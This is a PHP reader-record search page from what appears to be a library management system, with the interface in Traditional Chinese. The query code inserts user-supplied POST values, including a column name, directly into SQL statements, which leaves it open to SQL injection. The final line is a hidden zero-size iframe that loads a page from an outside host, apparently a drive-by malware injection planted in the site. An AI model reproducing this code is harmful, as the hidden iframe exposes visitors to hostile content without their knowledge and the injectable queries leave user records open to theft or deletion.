<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="dzzlcx.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
<td width="124" height="50" align="left" class="tabletitle">　讀者資料查詢</td>
      <td width='1' height="50" align="left" class="titlebg"></td>
      <td height="50" align="center" class="tabletitle"><span class="word">按

<?php 
echo "<select name='cx'>";
 
$sql="show columns from readerinfo";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";
 }
echo "</select>";
 ?>

　查詢　
<input name="name" type="text" id="name" />
　
<input type="submit" name="submit" value="查詢" />
      </span><span class="word">
      　
      </span></td>
    </tr>
    <tr>
      <td height="2" colspan="7" class="titlebg"></td>
    </tr>
</table>    
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
      <td width="80" align="center" class="word">姓　名</td>
      <td width="60" align="center" class="word">性　別</td>
      <td width="80" align="center" class="word">出生日期</td>
      <td width="130" align="center" class="word">部　門</td>
      <td width="110" align="center" class="word">職　務</td>
      <td width="80" align="center" class="word">電　話</td>
      <td width="80" align="center" class="word">借書次數</td>
      <td width="80" align="center" class="word">登記日期</td>
    </tr>

<?php

 //使用子查詢，查詢出選擇的某個類別的讀者的信息
if(!empty($_POST["submit"]))
{
$department=$_POST["cx"];
$name=$_POST["name"];

$sql="select * from readerinfo where $department like '%".$_POST["name"]."%'";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
echo "<tr bgcolor='#BCD2E6'>";
echo "<td height='20' align='center' class='word'>".$row["readername"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["sex"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["birth"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["department"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["duty"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["phone"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["number"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["regdate"]."</td>";
echo "</tr>";
}
}
?>		
  </table>
</form>

<?php  
if(!empty($_POST[submit3]))   //點擊刪除按鈕后執行
{
$sql="delete from readerinfo where id=$selected";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('刪除成功！'); window.location.href='dzgl.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>